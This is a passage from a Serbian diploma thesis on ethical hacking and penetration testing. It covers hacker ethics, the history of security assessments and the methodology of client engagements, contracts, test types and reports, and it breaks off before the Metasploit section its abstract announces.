Upload
nemanja-macek
View
70
Download
9
Embed Size (px)
DESCRIPTION
Probojno testiranje i ojačanje Windows sistema - diplomski
Citation preview
Probojno testiranje i ojačanje
Windows sistema
- Diplomski rad -
Jovan Katić dr Snežana Vulović
IT 892 _____________ mentor
Izvod
Ovaj rad podeljen je na tri dela. U prvom delu opisani su principi i moralni aspekti vezani
za etičko hakerisanje. Drugi deo opisuje metodologiju i principe ispitivanja mogućnosti proboja.
Na kraju, u trećem delu je pomoću Metasploit alata dostupnog u okviru Linux distribucije
BackTrack 5 prikazan jedan od načina eksploatisanja Windows sistema.
Abstract
This work consists of three parts. In first part principles and moral aspects of ethical
hacking are described. Second part describes the methodology and principles of penetration
testing. And in the end an example of exploiting Windows system by using Metasploit tool,
available through BackTrack 5 Linux distribution, is shown.
Sadržaj
1. Etičko hakerisanje
Eksplozivan razvoj Interneta doneo je mnogo dobrih stvari: elektronsko poslovanje, lak
pristup mnogobrojnim on-line prodavnicama i njihovom prodajnom asortimanu, kolaborativno
programiranje, e-mail, nove načine za oglašavanje i distribuciju podataka… Kao i sa svakim
tehnološkim napretkom, takoĎe dolazi i tamna strana: kriminalni hakeri. Vlade, kompanije, kao i
privatna lica širom sveta teže da budu deo ove revolucije, ali se isto tako boje da će neki haker
provaliti na njihov Web server i promeniti njihov logo sa pornografijom, čitati njihov mail,
krasti njihove brojeve kreditnih kartica sa on-line prodavnica, ili postaviti softver koji će tajno
slati informacije o tajnama organizacije na otvoreni Internet. Ovakve kao i slične probleme,
etički haker može da reši.
Termin haker (eng. hacker) danas ima, u najmanju ruku, dvostruko značenje u
računarskoj industriji. Originalno je definisan na sledeći način :
Haker: imenica, 1. Osoba koja uživa u učenju detalja
o računarskim sistemima i proširivanju svog znanja i
sposobnosti – obrnuto od većine korisnika računara,
koji preferiraju da uče samo minimum onoga što im je
potrebno. 2. Onaj koji oduševljeno programira ili ko
uživa u programiranju raĎe nego da teoretizuje o
programiranju.
Ovakav laskav opis često se proširuje na reč hakerisanje (eng. hacking), koja služi da
opiše brzo učenje novog programa, ili pravljenje izmena u postojećem, obično komplikovanom
softveru.
Hakeri
Kada su računari postali dostupni širem krugu ljudi na svetskim univerzitetima, broj
korisnika se povećao. Grupe koje koriste računare proširile su se s pripadnika raznih
istraživačkih grupa i računarskih katedri na pojedince koji su počeli računare da vide kao
izuzetno fleksibilan alat. Bez obzira na to šta su radili s računarima, pripadnici ovih grupa su se
trudili da ih što više i češće koriste.
Zbog porasta popularnosti i visoke cene računara u to vreme, pristup računarima je
uglavnom bio ograničen. Kada bi bili odbijeni da pristupe računaru, neki korisnici bi pokušali da
zaobiĎu postavljena pravila pristupa. Oni bi krali lozinke ili brojeve naloga gledajući nekom
preko ramena dok se taj neko priključuje na sistem, ili bi pokušavali da iskoriste sistemske
greške koje bi im omogućile da zaobiĎu pravila, ili čak da preuzmu kontrolu nad sistemom. Oni
su sve to radili samo da bi mogli da pokrenu programe koje oni hoće, ili da promene ograničenja
pod kojima njihovi programi rade.
U početku su ovi upadi na sistem bili bezopasni, a najveća šteta je bila to što se kralo
procesorsko vreme ili prostor na memorijskim medijumima. U nekim slučajevima, upadi bi
prerastali u bezopasne šale. S vremena na vreme, pojedini nepažljivi ili netalentovani korisnici
nenamerno bi ugasili sistem, ili oštetili sistemske datoteke, pa bi administratori morali ponovo da
startuju sistem i da izvrše potrebne popravke. Takvi korisnici bi ponekad, nakon otrkivanja
nedozvoljenih aktivnosti i ponovne zabrane pristupa sistemu, počeli da reaguju destruktivno.
Ukoliko bi destruktivna aktivnost bila značajna – zbog nedostupnosti sistema, ili veličine
oštećenja na sistemu – ona bi postala „vest“ i novinske agencije bi je objavile. Umesto da koriste
tačan termin „kompjuterski kriminal“, mediji počinju da koriste termin haker kako bi opisali
osobu koja upada na računarske sisteme zbog zabave, osvete ili zarade.
Pošto zvati nekoga haker originalno znači kompliment, profesionalci u oblasti računarske
sigurnosti preferiraju da koriste druge termine za one hakere koji su se okrenuli tamnoj strani
hakerisanja. U svakodnevnom govoru i dalje možemo čuti da se termin haker koristi u oba
značenja – u pozitivnom, koje podrazumeva posvećenost te osobe tehnologiji i uvećanju znanja,
ali i u negativnom i destruktivnom, gde je to znanje iskorišćeno za ilegalne kriminalne aktivnosti.
Postoji i dalje jedan nivo blagonaklonog gledanja u javnosti na problem hakera čak i kada oni
sprovode aktivnosti koje se teško mogu podvesti pod zakonite i dobronamerne.
Crni i beli šeširi
Izraz haker sa belim šeširom (eng. white hat
hacker) ili etički haker (eng. ethical hacker) u oblasti
informacionih tehnologija jeste lice koje je etički protiv
zloupotrebe računarskih sistema. Ovaj termin se često
koristi da se opišu oni koji pokušavaju da prodru u tuĎe
sisteme i mreže kako bi pomogli vlasnicima tih sistema
da postanu svesni sigurnosnih propusta. Mnogo od njih
su zaposleni u kompanijama koje se bave sigurnošću i
pomažu im da otkriju probleme i poboljšaju proizvode i
usluge. Dok hakeri sa belim šeširima pokušavaju da
odbrane računarske sisteme, hakeri sa crnim šeširima
(eng. black hat hackers), tj. zlonamerni hakeri – „loši
momci“ – pokušavaju da upadnu u tuĎe mreže i sisteme,
ukradu poverljive informacije i/ili nanesu neku štetu.
Obe vrste hakera koriste slične metode i alate, ali sa
različitim ciljem.
Deset zapovesti računarske etike
Skoro u svakoj državi postoje odreĎene zakonske norme koje definišu koje su akcije u
informacionim i računarskim sistemima i mrežama dozvoljene, a koje nisu. Ove norme se
razlikuju od države do države (zakonska regulativa u ovoj oblasti verovatno je najdalje otišla u
SAD) ili su srodne za grupu zemalja, kao što je recimo Evropska unija.
Institut za računarsku etiku (The Computer Ethics Institute) je neprofitna istraživačka
organizacija koju čine Brookings Institute, IBM, The Washington Consulting Group i
Washington Theological Consortium. Oni su objavili 10 zapovesti računarske etike :
1. Ne koristi računar da povrediš drugog.
2. Ne mešaj se ne pozvan u tuĎ rad na računaru.
3. Ne njuškaj po tužim datotekama.
4. Ne koristi računar da bi lažno svedočio.
5. Ne koristi računar da bi krao.
6. Ne koristi komercijalni softver koji nisi platio.
7. Ne koristi tuĎe računarske resurse bez odobrenja ili nadoknade.
8. Ne prisvajaj sebi zasluge za tuĎu intelektualnu svojinu.
9. Razmisli o posledicama koje će program koji pišeš ili sistem koji projektuješ imati na
društvo.
10. Koristi računar samo na način koji je u skladu s poštovanjem drugih.
Ukoliko sebe smatrate za hakera, lako ćete odrediti svoju boju šešira shodno broju
zapovesti koje poštujete. Napomena : Ako prekršite neku zapovest nećete otići u pakao, ali se
može desiti da odete u zatvor.
Šta je etičko hakerisanje ?
S povećanjem primene Interneta, sigurnost računarskih i informacionih sistema i
računarskih mreža postala je glavna briga za preduzeća, organizacije i vladine institucije. Svi oni
žele da budu u mogućnosti da iskoriste Internet za elektronsko poslovanje, reklamiranje, širenje i
veću dostupnost informacija, kao i za druge stvari, ali su isto tako zabrinuti zbog mogućnosti da
budu „uhakovani“. Istovremeno, potencijalni kupac ovih usluga želi da zadrži kontrolu nad
ličnim i osetljivim informacijama (brojevi kreditnih kartica, socijalnog osiguranja tj. JMBG kod
nas, telefona ili kućnih adresa).
U nastojanju da donekle reše problem, organizacije su zaključile da je nezavisni stručnjak
za sigurnost koji će pokušati da upadne na njihov sistem, najbolji način da se proveri opasnost od
upada u sistem. Ovo donekle podseća na nezavisnog revizora koji će proveriti knjigovodstvo u
nekoj organizaciji i ukazati na propuste. U slučaju računarske sigurnosti, etički hakeri koriste iste
tehnike i alate kao i potencijalni napadač, ali za razliku od napadača, ne oštećuju sistem i ne
kradu informacije, već procenjuju sigurnost sistema i vlasnika izveštavaju o sigurnosnim
propustima na sistemu i o načinima uklanjanja grešaka i propusta. Ovaj način procene sigurnosti
sistema upotrebljava se još od prvih dana upotrebe računara.
Jedno od prvih etičkih hakerisanja korišćenih kao evaluacija sigurnosti obavile su
Vazduhoplovne snage SAD na operativnom sistemu Multics koji bi potencijalno koristili kao
sistem sa dva nivoa (secret/top secret). Njihova evaluacija je pokazala da iako je Multics znatno
bolji od drugih konvencionalnih sistema, i on ima slabosti u hardverskoj, softverskoj i
proceduralnoj zaštiti koje se mogu pronaći bez mnogo truda. Autori su obavljali testove pod
realnim okolnostima, kako bi rezultati što verodostojnije predstavljali kakve sve vrste pristupa
napadač može potencijalno ostvariti. Njihovi testovi su obuhvatali sve od jednostavnog
prikupljanja informacija do čistih napada na sistem koji mogu narušiti njegov integritet. S
porastom primene računarskih mreža i Interneta, studije ranjivosti računarskih mreža počele su
da se pojavljuju i van vojnih kompleksa.
SATAN
Jedna od najznačajnijih studija bio je rad D. Farmera i W.Z. Venema, „Improving the
Security of Your Site by Breaking into it“, koji je originalno poslat na Usenet mrežu decembru
1993. godine. Oni su javno razmatrali, možda po prvi put, korišćenje hakerskih tehnika za
procenjivanje sigurnosti nekog sistema. Sa ciljem da se podigne prosečan nivo sigurnosti na
Internetu i intranetu, oni su opisali kako su uspeli da sakupe dovoljno informacija o svojim
metama da bi mogli da ugroze sigurnost tih sistema ako to budu hteli da urade. Dali su par
specifičnih primera kako se informacije mogu sakupiti i iskoristiti da bi se dobila kontrola nad
sistemom, i kako takav napad može da se spreči.
Farmer i Venema su odlučili da svoj izveštaj postave na Internet
kako bi drugi mogli da pročitaju i da nauče iz njega. Pored toga, shvatili su
da su testiranja koja su obavljali postala toliko stručna i suviše kompleksna,
pa mogu oduzeti dosta vremena, ili biti isuviše dosadna za tipičnog
administratora sistema koji to radi svakodnevno. Zbog toga su skupili sve
alate koje su koristili tokom ispitivanja, zapakovali ih u jednu aplikaciju,
relativno jednostavnu za korišćenje, i taj alat dali svakome ko je hteo da
preuzme. Taj program, koji su nazvali Security Analysis Tool for Auditing
Networks, ili kratko SATAN, za kratko vreme je stekao veliku medijsku
popularnost. Mnoga od tih reagovanja bila su negativna, zato što su mogućnosti alata shvaćene
pogrešno. Alat nije automatizovani hakerski program koji bi upao na sistem i ukrao nečije tajne,
to je alat koji izvodi ispitivanja koja daju informacije o ranjivosti sistema i savete kako da se one
otklone. Alat SATAN pored ispitivačkih mogućnosti koje poseduje ide i korak dalje, pružajući
savete o otklanjanju naĎenih problema. Alat ne daje objašnjenje kako te ranjivosti mogu da se
iskoriste, jer to nije bio cilj ovog programa.
Karakteristike etičkih hakera
Etički hakeri pre svega moraju da budu osobe od poverenja. Ispitujući sigurnost sistema
klijenta, etički haker može da otkrije informacije o klijentu koje bi trebalo da ostanu tajna. U
mnogim slučajevima, objavljivanje tih informacija može dovesti do pravih napada, koji mogu da
prouzrokuju finansijske gubitke te firme. Tokom procene sigurnosti, etički haker često drži
„ključeve kompanije“, i zato mora da bude osoba od poverenja jer će imati pristupa osetljivim
informacijama. Osetljivost podataka koji se prikupljaju prilikom ovog ispitivanja, zahteva da na
snagu stupe stroge mere zaštite kako bi se osigurala sigurnost sistema koji etički haker testira:
laboratorije sa ograničenim pristupom i sa fizičkim obezbeĎenjem, zidovi od poda do plafona,
više sigurnih Internet veza, sef za čuvanje poverljive dokumentacije koja je dobijena od klijenta,
jaka kriptografija za zaštitu elektronskih podataka i izolovana mreža za testiranje.
Etički hakeri najčešće imaju veliko iskustvo u poslu sa računarima i računarskim
mrežama, programiranjem, instalacijom i administriranjem popularnih operativnih sistema
(UNIX, Windows Server) koji se koriste na ciljnim računarima. Ove osnovne veštine su
proširene detaljnim poznavanjem hardvera i softvera poznatih proizvoĎača računara i mrežne
opreme. Vreštine administriranja sistema i mreža neophodne su da bi se ispitala ranjivost
sistema, ali su isto tako važne kada se – posle ispitivanja – priprema izveštaj za klijenta. Kao i u
sportu ili ratovanju, poznavanje veština protivnika veoma je važno ako hoćeš da uspeš. U svetu
računarske sigurnosti, posao etičkih hakera je uvek teži, jer oni, osim samih tehnika napada koje
koriste zlonamerni hakeri, moraju da poznaju i načine otkrivanja i zaštite od napada.
Nasuprot scena koje često možemo videti u filmovima, gde napadač upada na tuĎi
računar ili mrežu bez veće muke, lozinku podaĎa u najgorem slučaju iz trećeg pokušaja, a zatim
u narednih nekoliko mikrosekundi zaobilazi sva prava pristupa i ostvaruje administratorske
privilegije, etičko hakerisanje zaista zahteva dosta strpljenja i vremena. Strpljivost je najvažnija
osobina etičkih hakera zato što oni moraju sebe da stave u poziciju zlonamernih hakera, koji su
inače poznati po tome da su veoma strpljivi i voljni da nadgledaju sistem danima ili nedeljama
čekajući priliku da upadnu u sistem. Tipična procena može da zahteva nekoliko dana mučnog
rada koji teško može da se automatizuje. Neki delovi procene moraju da se izvrše van regularnog
radnog vremena kako bi se izbeglo mešanje s regularnim poslovnim procesom na živim metama,
ili da bi se simulirao tajming realnog napada. Kada naiĎu na sistem koji im nije poznat, etički
hakeri će provesti vreme učeći o sistemu i pokušaće da mu naĎu slabosti.
Kada se uzmu u obzir navedene kvalifikacije, postavlja se pitanje pronalaženja
pojedinaca sposobnih za obavljanje etičkog hakerisanja. Najbolji kandidati za etičke hakere jesu
osobe koje imaju uspešno objavljene naučne radove, radnu istoriju koja ukazuje na dobro
poznavanje oblasti sigurnosti, ili osobe koje su napravile popularne sigurnosne programe sa
otvorenim kodom. Jedno od pravila kojeg se pridržavaju velike kompanije jeste da se ne
unajmljuju bivši zlonamerni hakeri. Iako protivnici ovog pravila iznose argument da samo „pravi
haker“ poseduje veštinu neophodnu da se posao uspešno obavi, pravilo o apsolutnom poverenju
klijenta eliminiše takve kandidate. Uzmimo za primer pretpostavku da škola treba da unajmi
vatrogasca koji će paziti da ne doĎe do požara na prostoru škole. Recimo da se na konkurs za
posao, izmeĎu ostalih, prijavio i jedan iskusni bivši palikuća koji zaista zna dosta o tome kako da
zapali ili ugasi vatru (možda čak i bolje od ostalih kandidata). Da li bi se roditelji dece koja
pohaĎaju tu školu zaista osećali sigurno ukoliko se izabere takav čovek za vatrogasca ? Dakle,
ova odluka je opravdana zato što klijent želi da bude potpuno siguran da informacije kojima će
etički haker raspolagati prilikom ispitivanja sistema, neće procureti u javnost, niti će ih etički
haker upotrebiti u zlonamerne svrhe.
Šta etički hakeri rade ?
Etički haker, obavljajući svoj posao traži odgovore na tri osnovna pitanja :
Šta napadač može da vidi na ciljnom sistemu ?
Šta napadač može da uradi sa tim informacijama ?
Da li je neko primetio napadačev napad ili uspeh ?
Iako je značaj prvog i drugog pitanja očigledan, treće pitanje je još značajnije, iako na
prvi pogled ne izgleda tako. Ako administratori ne primete da neko pokušava da napadne sistem,
napadač može (što znači i da hoće), provesti nedelje ili mesece pokušavajući da upadne na
sistem, i u većini slučajeva će to i uspeti.
Kada klijent traži procenu, potrebno je da se pre samog posla obavi dosta razgovora i
papirologije. Razgovori počinju sa odgovorima klijenata na par pitanja sličnih onima koje su
postavljali Garfinkel i Spafford :
Šta pokušavate da zaštitite ?
IznenaĎujuće velik broj klijenata ima problema da precizno odgovori na prvo pitanje. Na
primer, medicinski centar će najverovatnije reći da želi da zaštiti „informacije o
pacijentima“, inženjerska firma „nov dizajn proizvoda“, a firma koja se bavi
elektronskom trgovinom „bazu korisnika“. Svi ovi odgovori su isuviše kratki, jer definišu
mete samo u globalnom smislu. Klijent uglavnom mora da se navodi kako bi mogao
precizno da definiše sve informacije čiji gubitak može mnogo uticati na dalje poslovanje
firme ili njenih klijenata. Ti podaci moraju da obuhvate i sekundarne izvore informacija,
kao što su i imena i adrese zaposlenih (opasnost za privatnost i, u opštem slučaju,
sigurnost), informacije o računarima i mreži koje bi bile od pomoći napadaču, kao i
informacije o organizacijama sa kojima klijent saraĎuje (koja daje alternativnu putanju do
ciljnog sistema kroz, možda, manje siguran sistem partnera).
Od čega želite da se zaštitite ?
Kompletan odgovor na drugo pitanje etičkom hakeru daje mnogo više informacija od
odgovora na prvo pitanje, ali takoĎe zahteva da navodite klijenta koji najčešće nije
svestan veličine štete koju može da prouzrokuje uspešan napad odreĎenog tipa na
računarski sistem ili mrežu (ili bilo koje dobro koje je u vlasništvu klijenta). Nivo štete
može da varira od jedna neprijatnog iskustva do sigurne pretnje koja može da nanese
štetu po poslodavce i smanjenje profita. Na primer, Neka je resurs koji treba da se zaštiti
Web stranica. Nedostupnost ovog resursa u jednom slučaju može da bude samo blaga
neprijatnost (klijen samo reklamira proizvod na Internetu, a reklama je dostupna i na
drugim mestima), a isto tako može da bude velika pretnja za profit (klijent je kompanija
koja se bavi elektronskom trgovinom). Primer napada kada je u pitanju kompanija koja se
bavi e-trgovinom su serija DoS (Denial of Service) napada izvršenih u februaru 2000.
godine na sajtove kao što su eBay, Yahoo!, CNN i drugi. Za vreme ovih napada posetioci
nisu mogli da otvore ove Web stranice što je prouzrokovalo gubitke profita tih
kompanija. TakoĎe, neki klijenti su pod pogrešnim utiskom da njihova Web lokacija (ili
neki drugi resurs) neće biti na meti. Onli često navode sledeće razloge : „nema ništa
zanimljivo na njemu“, ili „hakeri nikad nisu čuli za moju kompaniju“. Klijenti ne
shvataju da je svaka Web stranica i svaka privatna mreža povezana na Internet,
potencijalna meta hakera. Na primer, Web administratori u UNICEF-u mislili su da
nijedan haker neće hteti da napadne njihovu lokaciju. Januara 1998. hakeri su promenili
njihovu Web stranicu.
Koliko vremena, truda i novca ste voljni da potrošite kako biste dobili odgovarajuću zaštitu ?
Odgovor na ovo pitanje je složen i klijenta, pre nego što da odgovor, treba upozoriti na
činjenicu da u troškove sigurnosti računara i mreže spadaju : realni novčani troškovi
(troškovi koji se odnose na savetovanje o sigurnosti, zapošljavanje potrebnog osoblja i
postavljanje odgovarajućeg hardvera i softvera), troškovi upotrebljivosti (sigurniji sistem
je obično i komplikovaniji i manje komforan za korišćenje, a samim tim može zahtevati i
dodatno obučavanje osoblja koje koristi taj sistem) i troškovi performansi mreže i
računara (što se više vremena potroši na obezbeĎivanje sigurnosti sistema, manje
vremena se može potrošiti na realne probleme korisnika).
Get out of jail free card
Kada klijent odgovori na tri navedena pitanja, pravi se plan za identifikovanje sistema
koji će biti ispitivan, način ispitivanja i sva moguća ograničenja ispitivanja. Na osnovu tog plana
se pravi ugovor izmeĎu klijenta i etičkih hakera, koji pišu obe strane zajedno. Taj ugovor, poznat
pod nazivom „karta za izlazak iz zatvora“ (eng. get out of jail free card) štiti etičke hakere od
krivičnog gonjenja, pošto je većina aktivnosti koje oni obavljaju pri proceni sigurnosti, nelegalna
u mnogim zemljama. Ugovor sadrži precizan opis ispitivanja – obično u obliku mrežnih adresa
ili pristupnih brojeva modema sistema koji će se ispitivati. Preciznost u ovoj fazi je od izuzetnog
značaja, pošto mala greška može da dovede do evaluacije pogrešnog klijentovog sistema, ili u
najgorem slučaju evaluaciju sistema neke druge firme.
Pristup „No-holds-barred“
Kada je ciljni sistem identifikovan, u ugovoru mora da bude navedeno da će se sistem
ispitivati. Najbolja procena se radi takozvanim „no-holds-barred“ pristupom (testiranje bez
ograničenja). To znači da etički haker može da proba dve što bi dovelo do toga da dobije
kontrolu nad sistemom ili da ga kompromituje. Iako je ovaj pristup veoma realističan i koristan,
neki klijenti se suzdržavaju da na taj način ispituju svoj sistem. Klijenti imaju više razloga za to,
a jedan od najčešćih je činjenica da se na ciljnom sistemu odvijaju normalni poslovni procesi, pa
mešanje u njegov rad može da ugrozi interese organizacije. Takvim klijentima treba napomenuti
da je to i razlog zašto bi trebalo primeniti ovaj pristup. Napadač neće raditi po pravilima klijenta.
Ako je sistem baš toliko važan za opstanak organizacije, potrebno je da se ispita što rigoroznije.
U svakom slučaju, klijent treba da bude svestan rizika koji proizilazi od ove procene. Rizici
uključuju neplanirane alarme i padanja sistema, degradirane sistemske i mrežne performanse,
nedostupnost sistema, povećanje veličine dnevničkih datoteka.
Najčešća ograničenja koja klijenti nameću etičkim hakerima jesu sledeća :
Prekid ispitivanja nakon otkrivanja prvog propusta. Neki klijenti insistiraju da procena treba da se zaustavi i da budu obavešteni čim etički haker pristupi njihovoj mreži ili
nekom od njihovih sistema. Ovakvo pravilo ne bi trebalo da se primenjuje, zato što ne
dozvoljava da klijent nauči ono što će etički haker moći dalje da otkrije o njihovom
sistemu i može da dovede do toga da klijent stekne lažan utisak o sigurnosti svog sistema
nakon otklanjanja sigurnosnog propusta koji je etički haker uočio. Procena sigurnosti
treba da se nastavi kako bi se našli i ostali sigurnosni propusti.
Izbor trenutka procene sigurnosti. Klijent će najverovatnije želeti da izbegne situaciju obavljanja procene u toku radnog vremena. Takvo ograničenje nije preporučljivo jer
napadač ne bira trenutak koji klijentu odgovara, ali nije ni od presudnog značaja za
ispitivanje. U obzir treba uzeti činjenicu da napadi obavljeni tokom radnog vremena
mogu lakše da se sakriju (veća aktivnost na sistemu, pa je lakše sakriti napad), što znači
da je ispitivanje manje rigorozno. Na primer, sistemi za detekciju upada mogu biti
„labavije“ konfigurisani u radno vreme, što znači da se u nekim situacijama neće oglasiti
upozorenjem. Bez obzira na dogovoreno vreme, klijent treba da obezbedi jednu ili više
osoba koja će u toku testiranja biti dostupne i moći da odgovore na pozive etičkog
hakera, u slučaju da rad sistema ili mreže postane ozbiljno ugrožen procenom ili u slučaju
da je otkriven fundamentalan sigurnosni propust koji bi trebalo odmah prijaviti.
Procena „u poslednjem trenutku“. Uobičajeno je da potencijalni klijenti odgaĎaju
procenu svog sistema sve dok ne ostane samo nekoliko nedelja ili dana pre nego što
sistem mora da se uključi u eksploataciju. Takva procena je od male koristi zato što
implementacija ispravki za naĎene sigurnosne probleme može da uzme više vremena
nego što je raspoloživo i može da donese nove sistemske probleme. Osim toga, u nekim
slučajevima etički haker neće moći da otkrije sve sigurnosne nedostatke u tom
vremenskom periodu.
Da bi dobio ispravnu procenu, klijent mora da bude upozoren da ne sme obaveštavati
zaposlene da će se obaviti ispitivanje. U suprotnom etički haker može biti doveden u situaciju da
se susretne sa elektronskom verzijom klijentovog radnika koji ide korak ispred njega i „zatvara
prozore i vrata“ sistema. Što je manje ljudi u organizaciji koji znaju da se planira procena, to je
manja verovatnoća da će se to saznanje odraziti na stvarno sigurnosno stanje, tj. da će se nivo
sigurnosti prividno povećati. Dodatno, klijent mora da bude spreman na moguću negativnu
reakciju zaposlenih – zaposleni u kompaniji mogu da shvate ovu „iznenadnu inspekciju“ kao
pretnju za posao, pa zato rukovodeći tim mora biti spreman da razuveri takvog zaposlenog.
Sam čin etičkog hakerisanja
Kada se ugovor definiše, napiše i potpiše, moguće je početi ispitivanje koje je predviĎeno
i strogo definisano ugovorm. Potrebno je napomenuti da samo ispitivanje donosi neki rizk za
klijenta, pošto bi zlonamerni haker mogao da snima saobraćaj izmeĎu etičkog hakera i sistema i
tako doĎe do istih saznanja do kojih je došao etički haker. Ovo se odnosi na slučajeve ispitivanja
udaljene mreže i, donekle, udaljene dial-up mreže. To znači da, ukoliko etički haker identifikuje
slabost u sigurnosti klijenta, napadač može doći u situaciju da iskoristi tu grešku u sistemu. To je
ozbiljan problem, pošto se aktivnosti zlonamernog hakera mogu prikriti aktivnostima etičkog
hakera. Najbolji pristup rešenju ovog problema je da etički haker koristi više javnih adresa s
kojih će slati podatke ka mreži i da te adrese s vremena na vreme menja. Etički haker mora da
održava dnevnik ispitivanja radi pripreme konačnog izveštaja; dnevnik je koristan i u slučaju da
se nešto neplanirano dogodi. U ekstremnim slučajevima, moguće je postaviti neke od sistema za
detekciju napada na metu, kako bi se osiguralo da svi testovi dolaze s računara etičkog hakera.
MeĎutim, to je teško uraditi, a da se ne upozori klijentovo osoblje i može takoĎe iziskivati
saradnju sa klijentovim davaocem Internet usluga.
Ukoliko klijent zahteva, etički haker može da ispita da li je klijent otporan na napade
virusima preko e-pošte ili Interneta, mada je mnogo korisnije da klijent postavi jak antivirusni
program čije definicije redovno ažurira, a da sve sumljive poruke prosleĎuje odgovrajućim
centrima na analizu i pronalaženje adekvatne „vakcine“ ukoliko se ispostavi da je u pitanju nova
verzija virusa.
Slika 1 Različiti načini ispitivanja
Udaljena mreža. Ovaj test simulira napad preko Interneta. Primarnu odbranu koja mora biti savladana čine granična mrežna barijera, ruteri za filtriranje saobraćaja i Web serveri.
Udaljena dial-up mreža. Ovaj test simulira napad na ulazne modemske linije klijenta.
Primarna odbrana koju zlonamerni haker mora da savlada jesu mehanizmi za proveru
identiteta. Ovi testovi moraju da se urade u saradnji sa lokalnom telefonskom
kompanijom.
Lokalna mreža. Ovaj test simulira zaposlenog ili neku drugu ovlašćenu osobu koja ima legalnu vezu ka kompanijskoj mreži. Primarna zaštita koja mora da se porazi su mrežne
barijere, interni Web serveri, serverske sigurnosne mere i sistem e-pošte.
Ukraden prenosni računar. U ovom testu se simulira kraĎa prenosnog računara neke važne osobe, kao što je visoko rangirani rukovodilac. Dakle, računar je uzet od
zaposlenog bez pretgodnog upozorenja i dat je etičkom hakeru. Etički haker proučava
računar tražeći lozinke smeštene u dial-up softveru, podatke od značaja za kompaniju,
lične informacije i slično. Pošto većina korisnika praktikuje da čuva svoje lozinke na
računarima, etički haker će obično moći da prenosni računar iskoristi za pristup
korporativnoj mreži preko telefonskih linija, sa svim privilegijama tog korisnika.
Društveni inženjering. Ovaj test otkriva da li će osoblje organizacije pod odreĎenim
okolnostima dati informacije nekome. Tipičan primer može da bude uljez koji zove
tehničku podršku kompanije, tražeći brojeve telefona ulaznih modema. Zaštita od
ovakvog napada je najteža, zato što su umešani ljudi i njihova lična priroda. Većina ljudi
je uglavnom susretljiva, pa im izgleda sasvim bezazleno da nekome ko deluje izgubljeno
objasne gde se nalazi računarska soba, ili da puste u zgradu nekoga ko kaže da je
zaboravio identifikacionu karticu kod kuće. Jedina zaštita od društvenog inženjeringa
jeste povećanje svesti zaposlenih o mogućnostima ovakvih napada.
Fizički upad. Ovaj test otkriva mogućnost fizičkog upada u zgradu kompanije. Ovakav test zahteva specijalne pripreme, zato što će etički haker, ukoliko ne uspe da proĎe
obezbeĎenje neotkriven, imati posla sa radnicima obezbeĎenja (koji nisu informisani o
testu, jer su i oni sami predmet ispitivanja), a verovatno i sa policijom. Kada se haker
naĎe u zgradi, veoma je važno da ne bude otkriven. Jedna od tehnika koju napadači
koriste da bi ostali neotkriveni jeste da nose dokument na kome se jasno vidi logotip
kompanije. Takav dokument može da se naĎe meĎu otpatcima koje kompanija baca, ili
da se uzme sa nekog stola kad napadač uĎe u zgradu. Primarna odbrana od ovakvog
napada jeste jaka sigurnosna politika, pouzdani radnici obezbeĎenja, nadgledanje i
beleženje svih ulazaka i izlazaka i povećanje opšte svesti o problemu.
Etički haker može da uradi svaki od navedenih testova iz tri perspektive – kao „loš
momak“ spolja (eng. outsider), „semi-outsider“ i kao „loš momak“ iznutra (eng. insider), tj.
regularni korisnik.
„Loš momak“ spolja delimično poznaje ciljni sistem, Jedine informacije koje ima o njemu dostupne su mu preko javnih izvora ili Interneta. Ovaj test predstavlja uobičajenu
pretnju sistemu. Dobro branjeni sistem neće dozvoliti da takav napadač uradi bilo šta.
„Semi-outsider“ ima ograničen pristup jednom od računara ili delu mreže kompanije.
Ovo testiranje je pogodno za sledeći scenario : banka dozvoljava svojim korisnicima da
pristupe informacijama svog naloga koristeći specijalan softver i modem. Dobro branjeni
sistem dozvoliće napadaču samo da pristupi svojim podacima, ali ne i ostalima.
„Loš momak“ iznutra, tj. regularni korisnik, ima validan pristup makar jednom od računara ili delu mreže kompanije. Ovim se testira može li neko iznutra sebi da poveća
prava pristupa, odnosno da prošiti skup prava koja mu je dodelio administrator sistema.
Dobro branjeni sistem dozvoliće insajderu samo da pristupi onim podacima i nad njima
obaci samo one akcije koje mu je administrator dodelio odgovarajućim polisama.
Konačan izveštaj
Konačan izveštaj je skup saznanja do kojih je etički haker došao tokom procene
sigurnosti sistema ili mreže. Detaljno su opisane pronaĎene ranjivosti i procedure za njihovo
otklanjanje. Ukoliko su aktivnosti etičkog hakera otkrivene, opisano je reagovanje osoblja
klijenta i predlozi za poboljšanje reakcija. Ukoliko se pri ispitivanju sistema društvenim
inženjeringom naiĎe na probleme, daje se predlog kako povećati svest osoblja klijenta za takve
stvari. Ovo je i glavni cilj cele vežbe – nije dovoljno samo ukazati klijentu da je njegov sistem
ranjiv, već ga i posavetovati kako se takav sistem može zakrpiti i kako da ostane zakrpljen.
Tehnike koje su korišćene za vreme ispitivanja se nikad ne otkrivaju, zato što osoba koja
predaje izveštaj ne može da bude sigurna ko će sve da doĎe u posed tog dokumenta jednom kada
izaĎe iz ruku klijenta. Na primer, zaposleni bi možda hteo da isproba neke tehnike na svom
računaru, da pokuša da testira sisteme u firmi, ili čak da opisane tehnike primeni na nekoj drugoj
kompaniji.
Sama dostava izveštaja je veoma delikatna stvar. Ako su otkrivene ranjivosti, izveštaj
može da bude izuzetno opasan ako padne u pogrešne ruke. Konkurencija može da iskoristi te
podatke za industrijsku špijunažu, a zlonamerni haker ih može upotrebiti za upad na računar
klijenta. U krajnjem slučaju, neki „šaljivdžija“ može da postavi ceo izveštaj na Internet. Izveštaj
se dostavlja u papirnoj varijanti, direktno ovlašćenom licu klijenta. Kada se izvrši procena, po
ugovoru izmeĎu etičkog hakera i klijenta, etički haker uništava sve dokumente i podatke koji su
mu koristili u toku datog ispitivanja.
Dalji koraci nakon isporuke izveštaja
Kada etički haker završi procenu i kada je izveštaj isporučen, klijent može da kaže
„Dobro, ako popravim te greške biću potpuno siguran, zar ne?“. Nažalost, nije tako. Ljudi rade
na računarima i mrežama klijenta i prave greške. Sigurnost nije trenutno stanje, već proces. Što
više vremena proĎe od ispitivanja, sigurnost klijenta opada. Deo izveštaja koji uključuje
preporuke koje klijent treba da prati kako bi i u budućnosti smanjio uticaj ovih grešaka.
Veoma je bitno da se klijentu naglasi sledeće : ideja o proceni sigurnosti sistema
„pokušavajući da uĎeš u njega“ veoma je cenjena i prihvaćena, ali ona, sama po sebi, nije
dovoljna. Čak i ako etički haker pomogne klijentu da bolje sagleda celokupnu situaciju i ukaže
